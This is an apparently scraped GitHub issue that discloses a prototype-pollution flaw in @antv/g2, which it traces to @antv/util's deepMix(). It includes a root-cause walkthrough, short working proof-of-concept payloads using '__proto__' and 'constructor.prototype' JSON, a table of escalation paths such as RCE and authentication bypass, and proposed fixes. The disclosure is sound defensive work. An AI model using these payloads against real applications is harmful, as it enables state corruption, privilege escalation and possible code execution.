antvis / antvis/G2

Prototype Pollution via @antv/util deepMix() — affects @antv/g2 chart configuration

Open
#7,287 1 comment 0 reactions 0 assignees View on GitHub
waiting for maintainer
Dominant language
TypeScript
Stars
12.6k
Forks
1.7k
PR merge metrics
No merged PRs in 30d

Description

# Prototype Pollution in `@antv/g2` via `@antv/util` deepMix()

## Summary

`@antv/g2` (<= 5.4.8) is vulnerable to **Prototype Pollution** through its dependency `@antv/util`'s `deepMix()` function, which is used extensively throughout the codebase (78+ source files) to merge chart options and configurations.

- **CWE**: [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) — Improperly Controlled Modification of Object Prototype Attributes
- **Severity**: Critical (CVSS 9.8)
- **Weekly Downloads**: ~248,000 (`@antv/g2`) / ~651,000 (`@antv/util`)
- **npm**: https://www.npmjs.com/package/@antv/g2

---

## Root Cause

`@antv/util`'s `deepMix()` (`lib/lodash/deep-mix.js`) performs recursive deep merge without filtering `__proto__`, `constructor`, or `prototype` keys:

```javascript
function _deepMix(dist, src, ...) {
for (var key in src) {
if (hasOwn(src, key)) { // ← passes for JSON.parse'd __proto__
var value = src[key];
if (isPlainObject(value)) {
if (isPlainObject(dist[key])) {
// Recurse INTO dist[key]
_deepMix(dist[key], value); // ← when key="__proto__", dist[key] = Object.prototype
} else {
dist[key] = _deepMix({}, value);
}
} else {
dist[key] = value;
}
}
}
}
```

**No `__proto__` key filtering exists anywhere in this function.**

---

## Why This Is Vulnerable — Step by Step

```
1. Attacker input: JSON.parse('{"__proto__":{"polluted":"yes"}}')
→ "__proto__" is an OWN ENUMERABLE property on the parsed object
→ hasOwn(src, "__proto__") returns TRUE

2. isPlainObject(src["__proto__"]) → TRUE (it's {polluted:"yes"})

3. dist["__proto__"] resolves to Object.prototype (via the accessor on plain {})
→ isPlainObject(Object.prototype) → TRUE
(because Object.getPrototypeOf(Object.prototype) === null,
and the function treats null-prototype objects as plain objects)

4. Recursive call: _deepMix(Object.prototype, {"polluted":"yes"})
→ Object.prototype["polluted"] = "yes"
→ POLLUTION COMPLETE

5. Every {} object in the Node.js process now has .polluted === "yes"
```

### Why `hasOwn` doesn't help

`hasOwn(src, "__proto__")` returns `true` because `JSON.parse` creates `__proto__` as a **regular own enumerable property**, not the prototype accessor. This is standard V8/Node.js behavior.

### Why `isPlainObject` doesn't help

`isPlainObject(Object.prototype)` returns `true` because the check finds that `Object.getPrototypeOf(Object.prototype) === null`, which matches its definition of "plain object". This means the guard never resets `dist["__proto__"]` to a fresh `{}`, and the code descends directly into `Object.prototype`.

---

## How @antv/g2 Is Affected

`@antv/g2` imports and calls `deepMix` in **78+ source files** for merging:

- **Chart options**: `new Chart(deepMix({}, defaults, userOptions))`
- **Mark configuration**: mark options merged via `deepMix`
- **Interaction config**: interaction options merged via `deepMix`
- **Transform options**: data transform settings merged via `deepMix`
- **Theme config**: theme objects merged via `deepMix`

Any code path that accepts external JSON and passes it to chart configuration is exploitable:

```javascript
const { Chart } = require('@antv/g2');

// Attacker-controlled chart config (e.g., from API response, user input)
const maliciousConfig = JSON.parse('{"__proto__":{"polluted":"yes"}}');

// This triggers deepMix internally
const chart = new Chart({
container: 'chart',
...maliciousConfig,
});

// All objects in the process are now polluted
console.log({}.polluted); // "yes"
```

---

## Proof of Concept

```javascript
const { deepMix } = require('@antv/util');

// Before
console.log({}.polluted); // undefined

// Pollute via deepMix
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMix({}, payload);

// After — ALL objects are polluted globally
const obj = {};
console.log(obj.polluted); // "yes"
console.log(new Object().polluted); // "yes"

// Also works via constructor.prototype path
deepMix({}, JSON.parse('{"constructor":{"prototype":{"hacked":"true"}}}'));
console.log({}.hacked); // "true"
```

---

## Impact

Successful prototype pollution via chart configuration enables:

| Attack | Mechanism |
|---|---|
| **Remote Code Execution** | Pollute `shell`, `env`, or template engine options → `child_process.exec` |
| **Authentication Bypass** | Inject `isAdmin: true`, `role: "admin"` into user/session objects |
| **Denial of Service** | Override `toString`, `valueOf`, `hasOwnProperty` → crash all object operations |
| **SQL Injection** | Pollute query builder parameters (`$where`, `$gt`) |
| **SSRF** | Inject `hostname`, `port`, `protocol` into HTTP client configs |
| **XSS** | Inject HTML/JS via polluted template variables |
| **Path Traversal** | Pollute `path`, `basedir` in file system operations |
| **CORS Bypass** | Inject `Access-Control-Allow-Origin` via polluted header configs |

---

## Remediation

### Option 1: Fix in @antv/util (recommended — fixes all dependents)

Add key filtering in `deepMix`:

```javascript
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);

function _deepMix(dist, src, ...) {
for (var key in src) {
if (BLOCKED.has(key)) continue; // ← ADD THIS
if (hasOwn(src, key)) {
// ... rest of logic
}
}
}
```

### Option 2: Fix in @antv/g2 (workaround)

Sanitize user input before passing to chart constructors:

```javascript
function sanitize(obj) {
if (!obj || typeof obj !== 'object') return obj;
const clean = {};
for (const key of Object.keys(obj)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
clean[key] = typeof obj[key] === 'object' ? sanitize(obj[key]) : obj[key];
}
return clean;
}
```

## References

- [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes](https://cwe.mitre.org/data/definitions/1321.html)
- [OWASP Prototype Pollution](https://owasp.org/www-project-web-security-testing-guide/)
- https://www.npmjs.com/package/@antv/g2
- https://www.npmjs.com/package/@antv/util

Contributor guide

Open the contributing guide

Research direction

Start by inspecting @antv/util's lib/lodash/deep-mix.js and run the supplied JSON.parse/deepMix proof of concept. Trace the G2 configuration entry points that use deepMix, then verify that the reported prototype keys no longer mutate global prototypes while normal chart-option merging still works.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, typescript
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.